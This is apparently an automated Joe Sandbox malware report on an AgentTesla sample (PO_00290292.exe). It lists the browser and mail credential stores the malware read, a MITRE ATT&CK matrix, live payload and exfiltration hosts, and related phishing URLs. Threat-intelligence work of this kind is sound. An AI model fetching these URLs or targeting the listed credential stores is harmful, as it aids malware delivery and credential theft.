Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7348, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7348, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	121 Windows Management Instrumentation	Path Interception	1 Access Token Manipulation	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	11 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	211 Process Injection	1 Obfuscated Files or Information	21 Input Capture	26 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	1 Credentials in Registry	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	141 Virtualization/Sandbox Evasion	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	2 Clipboard Data	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO_00290292.exe	5%	ReversingLabs
PO_00290292.exe	16%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll	1%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mail.qualityaf.com	0%	Virustotal		Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://crl.microsoft	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://172.96.14.41/mfMeuTZ127.bin&	0%	Avira URL Cloud	safe
http://172.96.14.41/mfMeuTZ127.bin	0%	Avira URL Cloud	safe
http://mail.qualityaf.com	0%	Avira URL Cloud	safe
http://www.microsoft.coB	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0)	0%	Avira URL Cloud	safe
http://172.96.14.41/mfMeuTZ127.bin	3%	Virustotal		Browse
http://r3.i.lencr.org/0)	0%	Virustotal		Browse
http://mail.qualityaf.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	104.237.62.211	true	false		high
mail.qualityaf.com	192.185.148.49	true	true	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://172.96.14.41/mfMeuTZ127.bin	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1717924574.0000000005E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	false		high
http://172.96.14.41/mfMeuTZ127.bin&	MSBuild.exe, 00000005.00000002.2591135790.0000000004322000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.1700157482.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1602165346.0000000004B61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000004.00000002.1605116373.000000000748B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2591135790.00000000042EB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2591135790.00000000042EB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.qualityaf.com	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.000000002019C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1717924574.0000000005E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1604051248.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r3.o.lencr.org0	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.0000000022498000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	PO_00290292.exe	false		high
https://api.ipify.org/t	MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1700157482.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1602165346.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020121000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r3.i.lencr.org/0)	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.0000000022498000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1602165346.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.coB	powershell.exe, 00000004.00000002.1605116373.000000000748B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.root-x1.letsencrypt.org0	MSBuild.exe, 00000005.00000002.2609495360.0000000020360000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.0000000020331000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.000000002255D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2609495360.00000000201A4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000005.00000002.2629380508.00000000224BB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.185.148.49	mail.qualityaf.com	United States	46606	UNIFIEDLAYER-AS-1US	true
104.237.62.211	api4.ipify.org	United States	18450	WEBNXUS	false
172.96.14.41	unknown	Canada	64236	UNREAL-SERVERSUS	false

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1380074
Start date and time:	2024-01-24 09:01:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO_00290292.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@8/15@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 96% Number of executed functions: 226 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 40.127.169.103, 192.229.211.108, 20.3.187.198, 20.242.39.171
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6060 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7224 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:02:18	API Interceptor	132x Sleep call for process: powershell.exe modified
09:02:39	API Interceptor	1199988x Sleep call for process: MSBuild.exe modified
09:02:54	API Interceptor	4x Sleep call for process: PO_00290292.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.185.148.49	RFQ_002902999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
192.185.148.49	order_confirm_PDF.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
104.237.62.211	1.wsf	Get hash	malicious	AsyncRAT, StormKitty, zgRAT	Browse	api.ipify.org/
	1.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	vksp	Get hash	malicious	Unknown	Browse	api.ipify.org/
	mallox.bin.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	f18itb3RpL.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Nemty.exe	Get hash	malicious	Nemty	Browse	api.ipify.org/
	b9.exe	Get hash	malicious	Typhon Stealer	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b%2C8d23fb3%2C492093b&p1=//sophielanda.com.au%2Fimag3in%2Fkindlue%2F3xf35o/bGluZWFtYWRyaWRAbWFkcmlkLmVz	Get hash	malicious	Unknown	Browse	192.229.211.108
	JOpPQBoz65.exe	Get hash	malicious	LummaC, zgRAT	Browse	192.229.211.108
	https://mobilemodula.com/Mbryan@example.org	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://perspectivefunnel.co/65af3e96eabac400142170f9/65afc3e15eaba70014d7303b	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://dejamom.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://stamentofinfo.us-lax-1.linodeobjects.com/payoutinfo.html#frank.user@fbi.gov.au	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://www.myfamilycare.co.uk/newsletter_tracker/?tokenKey=10adbd906d9961745bdf02ef2de644d5&campaignName=wfs-update-wy-02-apr-2020&lnk=href&url=HTTP%3a%2f%2fdpQYAdpQYA%2edpQYAdpQYA%2einnovigic%2ein%2f%2FYWJ1c2VAaW5vdmFsb24uY29t%3fabuse@inovalon.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://perspectivefunnel.co/65af3e96eabac400142170f9/65afc3e15eaba70014d7303b/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.211.108
	https://link.mail.beehiiv.com/ls/click?upn=U3KC0-2BN7NjTBPeCl-2F9sZ8KjKNd8ZYWHPWq7ahxdo-2BE9dU10I-2FxfUbt5KMn9H05Dl-2BoU088pd9g1sncmN8DhaTQF2CfO87j-2BvLkjS73jMKGMnV2vpNgifKh1urCEdMf-2B7g8oiqw24CwkjtggvCaQSwjpqB01qOPh1w5buwykvzdY-3D23Pn_Pq3I9Eh0D9rhg7rSp11fzgH0J5A0HEAWnXS0zelxr-2BjIa8v7jfhBQAp813yLZDZqIlGIE-2Fg9dECDv0OREVLFJs9YNSF80RAVs4jCfFGdCSnH8guXKQvcBK1yAQawZj2pMkxppYyLG7LGlAv8sEcstVYJJrJgyLDWmM-2F73wbCuAbEo7jSY6-2BsaNZfFyriEw5CNeskZ85GxnpFGUHgRrMXdNRgVOdw0dvhBQUxZQDMrSidKaSTb5W4yFZH7TRw1PK44EbyWpuaEecZ7IpwMPHzf8jTUbq04ui0-2B0cZheMFxocxD6NMYRN90SFBBAsy-2F0ypshz4IsaBAlxI76U7MmweXsUXaoHVJf3wIyfZKHNXWKsqJH0KJlJu1cFOLH-2FGPLm-2BtcQeXAu91o2qP-2BoqsR83dYlCIrZEmUjh9x7J1o-2B8hzgsB-2FcD1xocOJF-2FMqOJceIFBOs-2BK-2BTiC1PyAgm8Nmt7Ag-3D-3D#ZGpva28uZG9icmljQGNlbnRyYWxpYW4uY29tLmF1	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	https://agenciacrl.com/it_wATd-l2g31icga/int_logonbuGidk/	Get hash	malicious	Unknown	Browse	192.229.211.108
api4.ipify.org	MACHINE_QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Proforma_Invoice.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.1352.2615.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	SecuriteInfo.com.Win32.PWSX-gen.15348.28328.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	SecuriteInfo.com.Win32.PWSX-gen.21844.9999.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	3B18P2HItV.exe	Get hash	malicious	AgentTesla, RedLine	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.17929.17557.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Trojan.Packed2.46177.25997.17888.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	https://wrightbeveragedistributing.sharefile.com/public/share/web-01fe49682dde4af5	Get hash	malicious	HTMLPhisher	Browse	64.185.227.156
	PO#_231001759.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
mail.qualityaf.com	RFQ_002902999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.148.49
mail.qualityaf.com	order_confirm_PDF.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.148.49

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNREAL-SERVERSUS	Payment Advice Copy_ BSP Fiji_pdf.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.96.14.67
	Rfq00888778.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.96
	RFQ_002902999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	212.162.149.96
	Hospital_Inquiry_List_3892892921.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	212.162.149.96
	Order_N#U00b0_202200027.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.96
	RFQ_0098W662L9.exe	Get hash	malicious	Remcos, GuLoader	Browse	185.202.173.178
	maalesteder.exe	Get hash	malicious	Remcos, GuLoader	Browse	185.202.175.170
	Postsigner.exe	Get hash	malicious	GuLoader	Browse	185.202.175.201
	SPEC0376353400000256.exe	Get hash	malicious	Remcos, GuLoader	Browse	185.202.175.201
	[DURAE]_INQUIRY_20230010.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.96.14.18
UNIFIEDLAYER-AS-1US	MACHINE_QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	192.254.225.136
	https://stamentofinfo.us-lax-1.linodeobjects.com/payoutinfo.html#frank.user@fbi.gov.au	Get hash	malicious	HTMLPhisher	Browse	192.185.146.109
	https://www.myfamilycare.co.uk/newsletter_tracker/?tokenKey=10adbd906d9961745bdf02ef2de644d5&campaignName=wfs-update-wy-02-apr-2020&lnk=href&url=HTTP%3a%2f%2fdpQYAdpQYA%2edpQYAdpQYA%2einnovigic%2ein%2f%2FYWJ1c2VAaW5vdmFsb24uY29t%3fabuse@inovalon.com	Get hash	malicious	Unknown	Browse	162.144.105.201
	https://www.my-link.com.au/mtcgi/tracklink3.php?x=D0304A3F.05AAE513&href=//executivamallet.com/me/cv/Acegutters/cGx1bWJpbmcuc2FsZXNAYWNlZ3V0dGVycy5jb20uYXU=	Get hash	malicious	HTMLPhisher	Browse	108.179.253.169
	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b%2C8d23fb3%2C492093b&p1=//gigglingflamingo.com/fresh/bott/asdf/bjparish@steinborn.com	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	FatRE012024.msi	Get hash	malicious	Unknown	Browse	192.185.215.152
	https://stats.sender.net/link_click/Nu71TBYERW_LOtYH/b926d7d2b5b7eeed918c842713ab9677#c2FyYWgucmF5bm9yQG93ZW5zLW1pbm9yLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	108.179.252.92
	https://stats.sender.net/link_click/NuoFnYd1dw_LMgXF/a688273cd4a393802dbf8a14d5e1a550#cm9iaW5zb252QGFpcmJvcm4uY29t	Get hash	malicious	HTMLPhisher	Browse	69.49.245.172
	https://wrightbeveragedistributing.sharefile.com/public/share/web-01fe49682dde4af5	Get hash	malicious	HTMLPhisher	Browse	69.49.230.198
	http://www.alserhgroup.com/	Get hash	malicious	Unknown	Browse	192.185.48.207
WEBNXUS	MACHINE_QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	Proforma_Invoice.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.1352.2615.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	SecuriteInfo.com.Win32.PWSX-gen.15348.28328.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	SecuriteInfo.com.Win32.PWSX-gen.21844.9999.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	3B18P2HItV.exe	Get hash	malicious	AgentTesla, RedLine	Browse	64.185.227.156
	SecuriteInfo.com.Win32.PWSX-gen.17929.17557.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Trojan.Packed2.46177.25997.17888.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.75
	http://www.corporateworldwidetransportation.com/	Get hash	malicious	Unknown	Browse	64.185.227.155
	https://wrightbeveragedistributing.sharefile.com/public/share/web-01fe49682dde4af5	Get hash	malicious	HTMLPhisher	Browse	64.185.227.156

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b%2C8d23fb3%2C492093b&p1=//sophielanda.com.au%2Fimag3in%2Fkindlue%2F3xf35o/bGluZWFtYWRyaWRAbWFkcmlkLmVz	Get hash	malicious	Unknown	Browse	23.206.229.226
	JOpPQBoz65.exe	Get hash	malicious	LummaC, zgRAT	Browse	23.206.229.226
	https://perspectivefunnel.co/65af3e96eabac400142170f9/65afc3e15eaba70014d7303b	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.206.229.226
	http://185.81.157.104:222/PtZrTZD0WXqkQdXp.txt	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://drive.usercontent.google.com/download?id=1oHdUaAoRB_AkM6t_F5NEiKwf7wWZkAjY&export=download	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://qjkwdvhujdqw.weeblysite.com/	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://main.d2eo0cxrw88mo4.amplifyapp.com/windesk/00Windinside0actlatest/index.html	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://telegrnne.work/	Get hash	malicious	Telegram Phisher	Browse	23.206.229.226
	https://a.83-229-5-136.cprapid.com/	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://interlab.com.sg/66/-/billing.php	Get hash	malicious	Unknown	Browse	23.206.229.226
3b5074b1b5d032e5620f69f9f700ff0e	MACHINE_QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	Proforma_Invoice.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Win32.PWSX-gen.1352.2615.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Win32.PWSX-gen.15348.28328.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Win32.PWSX-gen.21844.9999.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	bTgH.exe	Get hash	malicious	Njrat	Browse	104.237.62.211
	3B18P2HItV.exe	Get hash	malicious	AgentTesla, RedLine	Browse	104.237.62.211
	SecuriteInfo.com.Win32.PWSX-gen.17929.17557.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	SecuriteInfo.com.Trojan.Packed2.46177.25997.17888.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	New_Project_1.exe	Get hash	malicious	Phemedrone Stealer, Xmrig	Browse	104.237.62.211

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll	teamviewer_Px-yDq1.exe	Get hash	malicious	Unknown	Browse
	teamviewer_Px-yDq1.exe	Get hash	malicious	Unknown	Browse
	SMGS-RCDU5010031.exe	Get hash	malicious	GuLoader, Remcos	Browse
	SMGS-RCDU5010031.exe	Get hash	malicious	GuLoader	Browse
	RC_S23_3274 Or_amento ADP 231019_5_5009.exe	Get hash	malicious	GuLoader, Remcos	Browse
	RC_S23_3274 Or_amento ADP 231019_5_5009.exe	Get hash	malicious	GuLoader	Browse
	IMG-2023010_WAA646737kendelsesordningenBalneo.exe	Get hash	malicious	GuLoader, Remcos	Browse
	IMG-2023010_WAA646737kendelsesordningenBalneo.exe	Get hash	malicious	GuLoader	Browse
	Pepsico_LLC_RFQ_Information.com.exe	Get hash	malicious	GuLoader	Browse
	Pepsico_LLC_RFQ_Information.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.838950934453595
Encrypted:	false
SSDEEP:	192:Dxoe5nVsm5emdZ2Ca6pZlbjvwRjdHPRhwgkjDt4iWN3yBGHB9smMdcU6CDpOeibY:NQopbjvwRjdvR5kjh4iUxeLib4J
